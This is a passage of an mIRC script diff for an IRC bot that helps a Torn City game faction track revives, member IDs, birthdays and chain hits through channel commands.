+      if ($2 == $null) { msg # $tc.col(3) $+ Notifies in the chain channel that a person needs to check their revive settings. $tc.col(1) $+ Usage: $+ $tc.col(2) !revfail Name }      
+      else { 
+        var %ret = $tc.getid($nick)
+        if (%ret != $null) {
+          msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , thank you for trying; a note has been sent back to the chaining channel.
+          msg %tcchain.stchan $tc.col(2) $+ $2 $+ $tc.col(4) $+ , please check your revive settings; $tc.col(2) $+ $nick $tc.colid(%ret,4,2) $tc.col(4) $+ cannot revive you! Maybe you need to add him/her to friends list? $+ $tc.col(2) http://www.torn.com/friendlist.php#/p=add&XID= $+ %ret
+        }
+        else {
+          msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , thank you for trying; a note has been sent back to the chaining channel. Also, please make sure your ID is in the bot as I do not have one for you. You may not be paid for your revives without it added!
+          msg %tcchain.stchan $tc.col(2) $+ $2 $+ $tc.col(4) $+ , please check your revive settings; $tc.col(2) $+ $nick $tc.col(4) $+ cannot revive you! Unfortunately, I do not have his/her ID so I cannot provide an "add to friends list" link for you.
+        }
+      }
+    }
+    if ($1-2 == You revived) {
+      var %findid = $tc.getid($nick)
+      if (%findid == $null) { msg # $tc.col(5) $+ I do not know who $+ $tc.col(2) $nick $tc.col(5) $+ is, please add your ID to the bot using !addid. Otherwise, you will not be tracked/paid. | halt }
+      var %read = $hget(tc.chain,%findid)
+      if (%read != $null) { var %phits = $gettok(%read,1,32), %ploss = $gettok(%read,2,32), %pdko = $gettok(%read,3,32), %psm = $gettok(%read,4,32), %prev = $gettok(%read,5,32) }
+      else { var %phits = 0, %ploss = 0, %psm = 0, %pdko = 0, %prev = 0 }
+      inc %prev | inc %tcchain.revtot
+      hadd tc.chain %findid %phits %ploss %psm %pdko %prev
+      if ($readini($tc.cfgfile,n,Chain,revnote) == yes) { .notice $nick Thank you, your revive has been recorded. }
+    }
+  }
+  var %revchanlist = %tc.chan
+  if (%tc.chchan != $null) { var %revchanlist = $+(%revchanlist,$chr(44),%tc.chchan) }
+  if (%tcchain.revchan != $null) { var %revchanlist = $+(%revchanlist,$chr(44),%tcchain.revchan) }
+  if ($findtok(%revchanlist,#,1,44)) {
+    if ($1 == !revid) {
+      if ($2 == $null && $2 !isnum) { msg # $tc.col(3) $+ Posts a revive link for a specified id. $tc.col(1) $+ Use: $+ $tc.col(2) !revid ID | halt }
+      else { msg # $tc.col(1) $+ Revive Link for ID $+ $tc.col(2) $tc.colid($2,1,2) $+ $tc.col(1) $+ : $+ $tc.col(2) $tc.revlink($2)
+      }
+    }
+    if ($1 == !revive) {
+      if ($2 != $null) { var %name = $2 }
+      else { var %name = $nick }
+      var %ret = $tc.getid(%name)
+      if (%ret != $null) { 
+        msg # $tc.col(1) $+ Revive $+ $tc.col(2) %name $+ $tc.col(1) $+ ! $+ $tc.col(2) $tc.revlink(%ret)
+        if ($findtok($+(%tcchain.stchan,$chr(44),%tcchain.revchan),#,1,44)) { 
+          var %ptr = 1, %loops = $numtok(%tcchain.revchan,44)
+          while (%ptr <= %loops) { 
+            if ($gettok(%tcchain.revchan,%ptr,44) ischan && $gettok(%tcchain.revchan,%ptr,44) != #) { 
+              msg $gettok(%tcchain.revchan,%ptr,44) $tc.col(1) $+ Revive $+ $tc.col(2) %name $+ $tc.col(1) $+ ! $+ $tc.col(2) $tc.revlink(%ret)
+            }
+            inc %ptr 
+          }
+        }
+      } 
+      else { msg # $tc.col(5) $+ Sorry $+ $tc.col(2) %name $+ $tc.col(5) $+ , I have no clue who you are! }
+    }    
+    if ($1 == !revhist) {
+      if (!$timer(0.tcflag.spam)) {      
+        if ($2 isnum) {                 
+          tc.chainrevpost # $2 
+          set %tcflag.revspam 1 | .timer $+ 0.tcflag.revspam -o 1 $tc.gcd unset %tcflag.revspam          
+        }
+        elseif (%tcchain.stchan != $null) { 
+          tc.chainrevpost # 
+          .timer $+ 0.tcflag.spam 1 $tc.gcd noop
+        }
+        else { msg # $tc.col(3) $+ Posts the reviver history for a specific chain. $tc.col(1) $+ Usage: $+ $tc.col(2) !revhist ChainID | halt }   
+      }
+      else { msg # $tc.col(5) $+ No can do, too many requests too often. You can try again in $+ $tc.col(2) $timer(0.tcflag.spam).secs $tc.col(5) $+ seconds. }
+    } 
+  } 
+
+  ;
+  ; and now, master channel code
+  ;
+  if ($findtok(%tc.chan,#,44) != $null) {    
+    if ($readini($tc.cfgfile,n,Access,min) == o) { if ($nick !isop #) { halt } }
+    elseif ($readini($tc.cfgfile,n,Access,min) == h) { if ($nick !isop # && $nick !ishop #) { halt } }
+    elseif ($readini($tc.cfgfile,n,Access,min) == v) { if ($nick !isop # && $nick !ishop # && $nick !isvoice #) { halt } }
+    elseif ($readini($tc.cfgfile,n,Access,min) == n) { }
+    else { echo -a 04Minimum access level not set, check config panel! | halt }
+
+    ; --------------------------------- ID adding/changing/deleting ---------------------------------
+
+    if ($1 == !addid) {
+      if ($2 == $null) { 
+        msg # $tc.col(3) $+ Adds an ID to the bot. $tc.col(1) $+ Usage: $+ $tc.col(2) !addid Name TornID 
+        msg # $tc.col(8) $+ Note: if the bot reports the wrong name after adding ID, use $+ $tc.col(4) !set main $tc.col(8) $+ to set the correct main name.
+        halt 
+      }
+      else {
+        if ($2 isnum && $3 == $null) { var %pid = $tc.cleanN($2) | var %pnick = $nick }
+        elseif ($3 isnum) { var %pid = $tc.cleanN($3) | var %pnick = $2 }
+        else { msg # $tc.col(5) $+ Try again. Usage: $+ $tc.col(2) !addid Name TornID | halt }
+        if (%pid != $null) { 
+          var %retid = $tc.getid(%pnick)
+          if (%retid == $null) { 
+            hadd -m tc.ids %pnick %pid            
+            hsave tc.ids $tc.idsfile
+            msg # $tc.col(1) $+ Added $+ $tc.col(2) %pnick $tc.colid(%pid,1,2) to the database!
+          }
+          else { msg # $tc.col(5) $+ Whoops! $+ $tc.col(2) %pnick $tc.col(5) $+ already exists in the bot with ID $+ $tc.col(2) %retid $+ $tc.col(5) $+ .  }
+        }
+      }
+    }    
+    if ($1 == !delid) {
+      tc.chkaccess delid $nick #
+      if ($2 == $null) { var %pnick = $nick }
+      else { var %pnick = $2 }      
+      var %retid = $tc.getid(%pnick)      
+      if (%retid != $null) {              
+        hdel tc.ids %pnick        
+        hsave tc.ids $tc.idsfile
+        if ($hget(tc.idsname,%retid) != $null) { 
+          hdel tc.idsname %retid
+          hsave tc.idsname $tc.idsnamefile
+        }
+        msg # $tc.col(6) $+ Removed $+ $tc.col(2) %pnick $tc.col(6) $+ from the database! 
+      }
+      else { msg # $tc.col(5) $+ No can do, $+ $tc.col(2) %pnick $tc.col(5) $+ does not exist in the database! }
+    }
+
+    if ($1 == !whois) {
+      if ($2 == $null || $2 !isnum) { msg # $tc.col(3) $+ Checks which names are all stored for a particular ID. $tc.col(1) $+ Usage: $+ $tc.col(2) !whois ID }
+      else {
+        var %ptr = 1, %end = $hget(tc.ids,0).item
+        while (%ptr <= %end) {
+          var %name = $hget(tc.ids,%ptr).item, %id = $tc.getid(%name)
+          if ($2 == %id) { var %idlist = $addtok(%idlist,%name,32) }
+          inc %ptr
+        }
+        if (%idlist != $null) { msg # $tc.col(1) $+ Stored names for ID $tc.colid($2,1,2) $+ : $+ $tc.col(2) %idlist }
+        else { msg # $tc.col(5) $+ There are no names stored for ID $tc.colid($2,5,2) $+ ! }
+      }
+    }
+
+    ; --------------------------------- personal setting code ---------------------------------
+
+    if ($1 == !setbday) {
+      if ($2 != $null) {
+        tc.chkaccess setbday $nick #
+        var %mon = $left($3,3)
+        if ($istok(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec,%mon,32) && ($4 >= 1 && $4 <= 31)) {
+          var %id = $tc.getid($2), %month = $upper($left(%mon,1)) $+ $lower($mid(%mon,2,2))
+          if (%id == $null) { msg # $tc.col(2) $+ $2 $tc.col(5) $+ does not have an ID saved to the bot! }
+          else {
+            if ($5 != $null && $len($int($5)) != 4) { msg # $tc.col(5) $+ Please enter birth year using 4 digits. Saving birthdate without the year. | var %yr = $null }
+            elseif ($5 != $null && $int($5) !isnum) { msg # $tc.col(5) $+ Invalid birth year. Saving birthdate without the year. | var %yr = $null }
+            elseif ($5 != $null && $int($5) >= $asctime($tc.time,yyyy)) { msg # $tc.col(5) $+ Liar. Saving birthdate without the year. | var %yr = $null }
+            elseif ($5 == $null) { var %yr = $null }
+            else { var %yr = $int($5) }
+            tc.set %id bday %month $int($4) %yr
+            msg # $tc.col(1) $+ I have set $+ $tc.col(2) $2 $+ $tc.col(1) $+ 's birthday to $+ $tc.col(2) $tc.getset(%id,bday) $+ $tc.col(1) $+ .
+          } 
+        }
+        else { msg # $tc.col(3) $+ Sets another person's birthdate. $tc.col(1) $+ Usage: $+ $tc.col(2) !setbday Person month day year $tc.col(1) $+ (year is optional) $tc.col(8) $+ ie: !set bday Jan 1 }
+      }
+      else { msg # $tc.col(3) $+ Sets another person's birthdate. $tc.col(1) $+ Usage: $+ $tc.col(2) !setbday Person month day year $tc.col(1) $+ (year is optional) $tc.col(8) $+ ie: !set bday Jan 1 }
+    }
+
+    if ($1 == !set) {
+      if ($2 == $null) {
+        msg # $tc.col(3) $+ Sets personal settings. $tc.col(1) $+ Available settings: $+ $tc.col(2) bday stat main
+        msg # $tc.col(1) $+ Use $+ $tc.col(2) !set setting $tc.col(1) $+ without any additional parameters for more details.
+      }
+      if ($2 == main) {
+        if ($3 != $null) {
+          var %id = $tc.getid($3), %idchk = $tc.getid($nick)
+          if (%id != $null) {
+            if (%idchk == %id) {           
+              hadd tc.idsname %id $3
+              hsave tc.idsname $tc.idsnamefile
+              msg # $tc.col(6) $+ I have assigned $+ $tc.col(2) $3 $tc.col(6) $+ as the main name for ID $tc.colid(%id,6,2) $+ !
+            } 
+            else { msg # $tc.col(2) $+ $nick $+ $tc.col(5) and $tc.col(2) $+ $3 $+ $tc.col(5) do not have the same ID saved. }
+          }
+          else { msg # $tc.col(5) $+ I have no idea who $+ $tc.col(2) $3 $tc.col(5) $+ is, please make sure that it's added via !addid first }
+        }
+        else { msg # $tc.col(3) $+ Sets your main name (needs to be added via !addid). $tc.col(1) $+ Usage: $+ $tc.col(2) !set main Name }
+
+      }
+      if ($2 == bday) {
+        var %mon = $left($3,3)
+        if ($istok(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec,%mon,32) && ($4 >= 1 && $4 <= 31)) {
+          var %id = $tc.getid($nick), %month = $upper($left(%mon,1)) $+ $lower($mid(%mon,2,2))
+          if (%id == $null) { msg # $tc.col(5) $+ Need to save your ID to the bot $+ $tc.col(2) $nick $+ $tc.col(5) $+ ! }
+          else {
+            if ($5 != $null && $len($int($5)) != 4) { msg # $tc.col(5) $+ Please enter birth year using 4 digits. Saving birthdate without the year. | var %yr = $null }
+            elseif ($5 != $null && $int($5) !isnum) { msg # $tc.col(5) $+ Invalid birth year. Saving birthdate without the year. | var %yr = $null }
+            elseif ($5 != $null && $int($5) >= $asctime($tc.time,yyyy)) { msg # $tc.col(5) $+ Liar. Saving birthdate without the year. | var %yr = $null }
+            elseif ($5 == $null) { var %yr = $null }
+            else { var %yr = $int($5) }
+            tc.set %id bday %month $int($4) %yr
+            msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I have set your birthdate to $+ $tc.col(2) $tc.getset(%id,bday) $+ $tc.col(1) $+ .
+          } 
+        }
+        else { msg # $tc.col(3) $+ Sets your birthdate. $tc.col(1) $+ Usage: $+ $tc.col(2) !set bday month day year $tc.col(1) $+ (year is optional) $tc.col(8) $+ ie: !set bday Jan 1 }
+      }
+      if ($2 == stat || $2 == stats || $2 == tstat || $2 == tstats) {
+        if ($3 isnum && $4 isnum && $5 isnum && $6 isnum) {
+          if ($3 > 100 || $4 > 100 || $5 > 100 || $6 > 100) { msg # $tc.col(5) $+ Liar. | halt }
+          var %id = $tc.getid($nick)
+          if (%id == $null) { msg # $tc.col(5) $+ Need to save your ID to the bot $+ $tc.col(2) $nick $+ $tc.col(5) $+ ! }
+          else {
+            tc.set %id stat $3 $4 $5 $6
+            msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I have set your passive bonuses to: $tc.col(2) $+ + $+ $3 $+ % $tc.col(1) $+ Strength, $tc.col(2) $+ + $+ $4 $+ % $tc.col(1) $+ Defense, $tc.col(2) $+ + $+ $5 $+ % $tc.col(1) $+ Speed, $tc.col(2) $+ + $+ $6 $+ % $tc.col(1) $+ Dexterity. 
+          }
+        }
+        else {
+          msg # $tc.col(3) $+ Sets your passive bonuses to display on your !tstats page. $tc.col(1) $+ Usage $+ $tc.col(2) !set stat Str Def Spd Dex 
+          msg # $tc.col(8) $+ ie: !set stats 5 4 2 3 = 5% passive bonus to str, 4% to def, 2% to speed, 3% to dexterity.
+          msg # $tc.col(4) $+ You can find your passive bonuses on your home page besides your Battle Stats. If you are on drugs, mouse over to see the details. You'll need to add the bonuses without any 'high' or addiction effect.
+        }
+      }    
+      halt
+    }  
+
+    if ($1 == !chain && $findtok(%tc.chchan,#,1,44) != $null) {
+      if ($2 == on) {
+        if (%tcchain.stchan != $null) { msg # $tc.col(5) $+ There is already a chain active in $+ $tc.col(2) %tcchain.stchan $+ $tc.col(5) $+ ! | halt }
+        set %tcchain.stchan #
+        set %tcchain.hits -1
+        set %tcchain.loss 0
+        set %tcchain.start $tc.time
+        set %tcchain.revtot 0
+        set %tcchain.revchan $readini($tc.cfgfile,n,Chain,revive)
+        hmake tc.chain 100 | hmake tc.chmonth 100
+        if ($readini($tc.cfgfile,n,Chain,upg) == 0) { var %chmin = 5 }
+        elseif ($readini($tc.cfgfile,n,Chain,upg) == 1) { var %chmin = 5.5 }
+        else { var %chmin = $calc(4 + $readini($tc.cfgfile,n,Chain,upg)) }
+        var %dur = $calc(%chmin * 60)      
+        .timer $+ 0.tcchainend -co 1 $calc(20 * 60) tc.chainend        
+        .timer $+ 0.hitlistclr -co 1 $calc(20 * 60) tc.hitlistclr #
+        .timer $+ 0.tcchainrefillwarn1 $asctime($calc($ctime($date 23:54) + ($readini($tc.cfgfile,n,Config,timeadj) * 60 * 60)),HH:nn) 1 1 msg # $tc.col(4) $+ Note: Energy refills will reset in ten minutes.
+        .timer $+ 0.tcchainrefillwarn2 $asctime($calc($ctime($date 23:59) + ($readini($tc.cfgfile,n,Config,timeadj) * 60 * 60)),HH:nn) 1 1 msg # $tc.col(4) $+ Note: Energy refills will reset in five minutes!
+        .timer $+ 0.tcchainrefillwarn3 $asctime($calc($ctime($date 00:03) + ($readini($tc.cfgfile,n,Config,timeadj) * 60 * 60)),HH:nn) 1 1 msg # $tc.col(4) $+ Note: Energy refills will reset in two minutes! Might want to make sure timer is high in case of lag.
+        .timer $+ 0.tcchainstalkers -co 1 $calc(20 * 60) tc.chainstalk #
+        set %tcchain.chid $readini($tc.cfgfile,n,Chain,id) | if (%tcchain.chid == $null) { set %tcchain.chid 0 } 
+        var %tempwtchk = $tc.chlogfile(%tcchain.chid)
+        inc %tcchain.chid
+        if ($exists(%tempwtchk)) { 
+          hmake tc.wtchk 100 | hload tc.wtchk %tempwtchk
+          var %datechk = $gettok($hget(tc.wtchk,s),6,32), %chk = $calc($tc.time - %datechk)
+          set %tcchain.lastwt $readini($tc.cfgfile,n,Chain,wartally)
+          if (%chk >= $tc.wtreset) {
+            writeini -n $tc.cfgfile Chain wartally %tcchain.chid 
+            msg # $tc.col(4) $+ Note: it's been more than $+ $tc.col(2) $duration($tc.wtreset) $tc.col(4) $+ since last chain, automatically setting wartally marker to current chain! Also, since it's been a while, please make sure to set $+ $tc.col(2) !warresp reset (Current Respect) $tc.col(4) $+ marker. 
+          }
+          hfree tc.wtchk
+        } 
+        set %tcchain.log $tc.chlogfile(%tcchain.chid) 
+        set %tcchain.cmlog $tc.cmlogfile() | if ($exists(%tcchain.cmlog)) { hload tc.chmonth %tcchain.cmlog }
+        if ($3 != $null) { if ($3 isnum) { set %tcchain.startresp $3 } | else { set %tcchain.startresp $remove($3,$chr(44)) } }
+        if (%tcchain.startresp !isnum) { set %tcchain.startresp $readini($tc.cfgfile,n,Chain,resp) }        
+        msg # $tc.col(1) $+ Starting chain $+ $tc.col(2) %tcchain.chid $tc.col(1) $+ with $+ $tc.col(2) $tc.addComma(%tcchain.startresp) $tc.col(1) $+ starting respect...
+        if ($readini($tc.cfgfile,n,Chain,bonus) == $null) { msg # $tc.col(5) $+ No bonus faction has been set! Type $+ $tc.col(2) !bonus FactionName $tc.col(5) $+ to set. }       
+        else { msg # $tc.col(6) $+ Bonus faction has been set to: $+ $tc.col(2) $readini($tc.cfgfile,n,Chain,bonus) $+ $tc.col(6) $+ ! Type $+ $tc.col(2) !bonus FactionName $tc.col(6) $+ to change. }
+        if ($readini($tc.cfgfile,n,Chain,clead) == $null) { msg # $tc.col(5) $+ No chain leader has been set! Type $+ $tc.col(2) !leader Name $tc.col(5) $+ to set. }
+        else { msg # $tc.col(6) $+ Chain leader is: $+ $tc.col(2) $readini($tc.cfgfile,n,Chain,clead) $+ $tc.col(6) $+ ! Type $+ $tc.col(2) !leader Name $tc.col(6) $+ to change. }
+        if ($readini($tc.cfgfile,n,Chain,stalk) == $null) { msg # $tc.col(5) $+ No stalking directions have been set! Type $+ $tc.col(2) !stalk Note $tc.col(5) $+ to set. }
+        else { msg # $tc.col(6) $+ Stalkers: $+ $tc.col(2) $readini($tc.cfgfile,n,Chain,stalk) $tc.col(6) $+ - Type $+ $tc.col(2) !stalk Note $tc.col(6) $+ to change. }
+        if ($readini($tc.cfgfile,n,Chain,upg) == 1) { msg # $tc.col(1) $+ You have $+ $tc.col(2) 5 minutes and 30 seconds $tc.col(1) $+ after the SECOND hit to keep the chain running! }
+        else { msg # $tc.col(1) $+ You have $+ $tc.col(2) %chmin minutes $tc.col(1) $+ after the SECOND hit to keep the chain running! }
+        if ($readini($tc.cfgfile,n,Chain,postchains) == yes) {
+          var %ptr = 1, %loops = $numtok(%tc.chchan,44)
+          while (%ptr <= %loops) { 
+            if ($gettok(%tc.chchan,%ptr,44) ischan && $gettok(%tc.chchan,%ptr,44) != %tcchain.stchan) { 
+              msg $gettok(%tc.chchan,%ptr,44) $tc.col(1) $+ Chain starting soon in $+ $tc.col(2) %tcchain.stchan $+ $tc.col(1) $+ ! Please join if you wish to jump in as hits and updates will only be posted in there.              
+            }
+            inc %ptr 
+          }
+        }
+        if (%tcchain.revchan != $null) {
+          var %ptr = 1, %loops = $numtok(%tcchain.revchan,44)
+          while (%ptr <= %loops) { 
+            if ($gettok(%tcchain.revchan,%ptr,44) ischan && $gettok(%tcchain.revchan,%ptr,44) != %tcchain.stchan) { 
+              msg $gettok(%tcchain.revchan,%ptr,44) $tc.col(1) $+ Chain starting momentarily, be ready with revives!
+            }
+            inc %ptr 
+          }
+        }
+        halt
+      }
+      if ($istok(end off cancel,$2,32)) { 
+        if (%tcchain.stchan != $null) {
+          if (# == %tcchain.stchan) {
+            ;if ($2 == cancel && %tcchain.hits > 0) { msg # $tc.col(5) $+ No can do, chain has started. | halt }
+            if ($2 == cancel) {           
+              if ($exists(%tcchain.log)) { .remove %tcchain.log }
+              if ($readini($tc.cfgfile,n,Chain,postchains) == yes) {
+                var %ptr = 1, %loops = $numtok(%tc.chchan,44)
+                while (%ptr <= %loops) { 
+                  if ($gettok(%tc.chchan,%ptr,44) ischan && $gettok(%tc.chchan,%ptr,44) != %tcchain.stchan) { 
+                    msg $gettok(%tc.chchan,%ptr,44) $tc.col(1) $+ Whoops, false alarm! The chain in $+ $tc.col(2) %tcchain.stchan $tc.col(1) $+ has been cancelled.
+                  }
+                  inc %ptr 
+                }
+              }
+              if (%tcchain.revchan != $null) {
+                var %ptr = 1, %loops = $numtok(%tcchain.revchan,44)
+                while (%ptr <= %loops) { 
+                  if ($gettok(%tcchain.revchan,%ptr,44) ischan && $gettok(%tcchain.revchan,%ptr,44) != %tcchain.stchan) { 
+                    msg $gettok(%tcchain.revchan,%ptr,44) $tc.col(1) $+ Whoops, false alarm! The chain has been cancelled.
+                  }
+                  inc %ptr 
+                }
+              }       
+              if ($readini($tc.cfgfile,n,Chain,wartally) == %tcchain.chid) {
+                writeini -n $tc.cfgfile Chain wartally %tcchain.lastwt
+                msg # $tc.col(4) $+ Note: since wartally was reset for this cancelled chain, it has been reset back to chain $+ $tc.col(2) %tcchain.lastwt                      
+              }
+              .timer $+ 0.tcchain* off | unset %tcchain.* 
+              if ($hget(tc.chain)) { hfree tc.chain }
+              if ($hget(tc.chmonth)) { hfree tc.chmonth }
+              msg # $tc.col(1) $+ The chain has been cancelled.
+            }
+          }
+          if ($2 == off || $2 == end) {
+            var %endresp = $remove($3,$chr(44),$chr(46))
+            if (%endresp isnum) {
+              if (%endresp < 5000000) { tc.chainend %endresp }
+              else { msg # $tc.col(5) $+ Nope. | halt }
+            }
+            else { msg # $tc.col(5) $+ You need to specify an ending respect before ending a chain! Usage: $+ $tc.col(2) !chain off EndRespect | halt }
+          }   
+        } 
+        else { msg # $tc.col(5) $+ There are no chains currently active! }  
+      }  
+      halt      
+    }
+
+    ; --- chain commands that require an active chain.
+
+    if (# == %tcchain.stchan) {
+      if ($1 == !endlesschain) {
+        if (!%tcchain.endless) {
+          .timer $+ 0.tcchainend off
+          .timer $+ 0.hitlistclr off
+          .timer $+ 0.tcchain1 off
+          .timer $+ 0.tcchain2 off
+          .timer $+ 0.tcchain3 off
+          .timer $+ 0.tcchain4 off
+          .timer $+ 0.tcchain5 off
+          set %tcchain.endless 1
+          msg # $tc.col(3) $+ All chain timers have been silenced and chain has gone into endless mode! $tc.col(1) $+ To resume: type $tc.col(2) $+ !endlesschain $+ $tc.col(1) again.
+        }
+        else {
+          unset %tcchain.endless
+          msg # $tc.col(3) $+ Endless flag has been cleared. $tc.col(1) $+ Timers will resume on the next attack.
+        }
+      }
+      if ($1 == !respect) {
+        var %inp = $remove($2,$chr(44))
+        if (%inp isnum) { 
+          set %tcchain.startresp %inp
+          msg # $tc.col(1) $+ Starting respect set to: $+ $tc.col(2) $tc.addComma(%inp)
+        }
+        else { msg # $tc.col(3) $+ Changes starting respect of chain. $tc.col(1) $+ Usage: $+ $tc.col(2) !respect Respect }
+      }
+      if ($1 == w2h) { msg # $tc.col(2) $+ $nick $tc.col(1) $+ is waiting to hospitalize! }
+      if ($1 == wfab) { msg # $tc.col(2) $+ $nick $tc.col(1) $+ is waiting to attack after bonus! }
+      if ($1 == omw) { msg # $tc.col(2) $+ $nick $tc.col(1) $+ is on their way to hospitalize someone! }
+      if ($1 == !offl) { 
+        if ($2 isnum) { tc.chainoffl $2 }
+        else { tc.chainoffl 1 }
+      }
+      if ($1 == !leader) {
+        if ($readini($tc.cfgfile,n,Chain,clead) == $null) { var %clead = $tc.col(5) $+ not set } | else { var %clead = $readini($tc.cfgfile,n,Chain,clead) }
+        if ($2 != $null) { 
+          if ($2 == off) { remini $tc.cfgfile Chain clead | msg # $tc.col(1) $+ Chain leader setting has been cleared. | halt }
+          writeini -n $tc.cfgfile Chain clead $2- | flushini $tc.cfgfile 
+          msg # $tc.col(1) $+ Chain leader is now set to: $+ $tc.col(2) $2- $+ $tc.col(1) $+ ! 
+        }
+        else { msg # $tc.col(3) $+ Chain leader is currently: $+ $tc.col(2) %clead $+ $tc.col(3) $+ . $tc.col(1) $+ Use $+ $tc.col(2) !leader Name $tc.col(1) $+ to change or $tc.col(2) $+ !leader off $+ $tc.col(1) to clear. }
+      }      
+      if ($1 == !stalk || $1 == !stalker) {
+        if ($readini($tc.cfgfile,n,Chain,stalk) == $null) { var %stalk = $tc.col(5) $+ not set } | else { var %stalk = $readini($tc.cfgfile,n,Chain,stalk) }
+        if ($2 != $null) { 
+          if ($2 == off) { remini $tc.cfgfile Chain stalk | msg # $tc.col(1) $+ Stalking notes have been cleared. | halt }
+          writeini -n $tc.cfgfile Chain stalk $2- | flushini $tc.cfgfile 
+          msg # $tc.col(1) $+ Stalking directions set to: $+ $tc.col(2) $2- 
+          msg # $tc.col(1) $+ Note: $tc.col(4) $+ This will be broadcasted every 20min in channel. Use $tc.col(2) $+ !stalk off $+ $tc.col(4) to clear.
+        }
+        else {
+          msg # $tc.col(3) $+ Stalkers: $+ $tc.col(2) %stalk 
+          msg # $tc.col(1) $+ Use $+ $tc.col(2) !stalk Note $tc.col(1) $+ to change or $tc.col(2) $+ !stalk off $+ $tc.col(1) to clear.         
+        }
+      }
+      if ($1 == !bonus) {
+        if ($readini($tc.cfgfile,n,Chain,bonus) == $null) { var %bonusfact = $tc.col(5) $+ not set } | else { var %bonusfact = $readini($tc.cfgfile,n,Chain,bonus) }
+        if ($2 != $null) { 
+          if ($2- == off) { remini $tc.cfgfile Chain bonus | msg # $tc.col(1) $+ Bonus target has been cleared. | halt }
+          writeini -n $tc.cfgfile Chain bonus $2- | flushini $tc.cfgfile 
+          msg # $tc.col(1) $+ Bonus target is now set to: $+ $tc.col(2) $2- $+ $tc.col(1) $+ ! 
+        }
+        else { msg # $tc.col(3) $+ Bonus target is currently: $+ $tc.col(2) %bonusfact $+ $tc.col(3) $+ . $tc.col(1) $+ Use $+ $tc.col(2) !bonus FactionName $tc.col(1) $+ to change or $tc.col(2) $+ !bonus off $+ $tc.col(1) to clear. }
+      }      
+      if ($1 == !summary || $1 == !summ || $1 == !status || $1 == !whatsup) { msg # $tc.chainsumm }
+      if ($1 == !counter || $1 == !count) {
+        if ($2 isnum) { 
+          if ($2 > 0) { set %tcchain.hits $2 | msg # $tc.col(1) $+ Chain counter has been set to $+ $tc.col(2) %tcchain.hits $+ $tc.col(1) $+ ! }
+          else { msg # $tc.col(5) $+ Nope. | halt }
+        }
+        elseif ($2 == $null) { msg # $tc.col(8) $+ Chain Counter: $+ $tc.col(2) %tcchain.hits $+ $tc.col(1) $+ /100 }
+        else { msg # $tc.col(3) $+ Manually sets the chain counter. $tc.col(1) $+ Usage: $+ $tc.col(2) !counter Count }
+      }
+      if ($1 == 911 || $1 == !911 || $1 == !addhit || $1 == !addhits) { 
+        if ($2 isnum && $3 == $null) { var %count = $2, %name = $nick }
+        elseif ($2 != $null && ($3 == $null || $3 !isnum)) { var %count = 1, %name = $2 }
+        elseif ($3 isnum) { 
+          if ($3 > 0) { var %count = $3, %name = $2 }
+          else { msg # $tc.col(5) $+ Nope | halt }
+        }
+        else { var %count = 1, %name = $nick }
+        if (%count > 200) { msg # $tc.col(5) $+ I don't think so, $+ $tc.col(2) %name $+ $tc.col(5) $+ . | halt }
+        tc.chainadd h %name %count $chr(63)
+      }
+      if ($1 == !lost || $1 == !loss || $1 == !lose) { 
+        if ($2 != $null) { var %name = $2 }
+        else { var %name = $nick }
+        tc.chainadd l %name 1 $chr(63)
+      }
+      if ($1 == !stalemate || $1 == !sm) {
+        if ($2 != $null) { var %name = $2 }
+        else { var %name = $nick }
+        tc.chainadd s %name 1 $chr(63)
+      }
+      if ($1 == !dko) { 
+        if ($2 != $null) { var %name = $2 }
+        else { var %name = $nick }
+        tc.chainadd d %name 1 $chr(63)
+      }
+
+      ; hosp pastes
+      if ($1-2 == YOU HOSPITALIZED) { tc.chainadd h $nick 1 $3 }
+
+      ; lost pastes
+      if ($1-3 == YOU LOST TO) { 
+        if ($4 != $null) { var %targ = $4 } | else { var %targ = $chr(63) }
+        tc.chainadd l $nick 1 %targ 
+      }
+      if ($1-2 == YOU LOST && $3 == $null) { tc.chainadd l $nick 1 $chr(63) }
+      if ($2-9 == TOOK YOU DOWN, PREVENTING YOU FROM WINNING CURRENT) { tc.chainadd l $nick 1 $1 }
+
+      ; DKO pastes (if they still exist)
+      ;if ($15 == Double && ($16 == KO || $16 == KO. || $16 == KO.You)) { tc.chainadd d $nick 1 $chr(63) }
+
+      ; stalemate pastes
+      if ($1-3 == YOU BOTH STALEMATED) { tc.chainadd s $nick 1 $chr(63) }
+
+
+      if ($1 == !pingme) {
+        if ($findtok(%tcchain.pinglist,$nick,32)) { 
+          set %tcchain.pinglist $deltok(%tcchain.pinglist,$findtok(%tcchain.pinglist,$nick,32),32)
+          msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I have removed you from the ping list. 
+        }
+        else { 
+          set %tcchain.pinglist $addtok(%tcchain.pinglist,$nick,32) 
+          msg # $tc.col(2) $+ $nick $+ $tc.col(1) $+ , I have added you to the ping list. You will recieve a channel ping on two minute warnings for this chain.
+        }
+      }
+      if ($1 == !hitlist) { 
+        if ($timer(0.tcflag.spam)) { msg # $tc.col(5) $+ No can do, too many requests too often. You can try again in $+ $tc.col(2) $timer(0.tcflag.spam).secs $tc.col(5) $+ seconds. }      
+        else { 
+          if (%tcchain.hits >= 0) { tc.chainpost # } 
+          else { msg %tcchain.stchan $tc.col(5) $+ There hasn't been any recorded attacks yet! }
+        }
+      }
+      if ($1 == !done || $1 == !hits || $1 == !attacks) { 
+        if ($2 != $null) { var %name = $2 }
+        else { var %name = $nick }
+        var %id = $tc.getid(%name)
+        if (%id == $null) { 
+          if ($2 != $null) { msg # $tc.col(5) $+ Search for $+ $tc.col(2) %name $tc.col(5) $+ not found. | halt }    
+          else { msg # $tc.col(5) $+ No idea who you are $+ $tc.col(2) %name $+ $tc.col(5) $+ . | halt }
+        }
+        var %read = $hget(tc.chain,%id)
+        if (%read != $null) { 
+          var %hits = $gettok(%read,1,32), %loss = $gettok(%read,2,32), %dko = $gettok(%read,3,32), %sm = $gettok(%read,4,32)
+          if (%id isnum) { var %namestr = %name $tc.colid(%id,1,2) }
+          else { var %namestr = %name }
+          if ($1 == !done) { var %chanmsg = $tc.col(1) $+ Thank you for chaining $+ $tc.col(2) %namestr $+ $tc.col(1) $+ ! You have made }
+          else { var %chanmsg = $tc.col(2) $+ %namestr $+ $chr(32) $+ $tc.col(1) $+ has made }
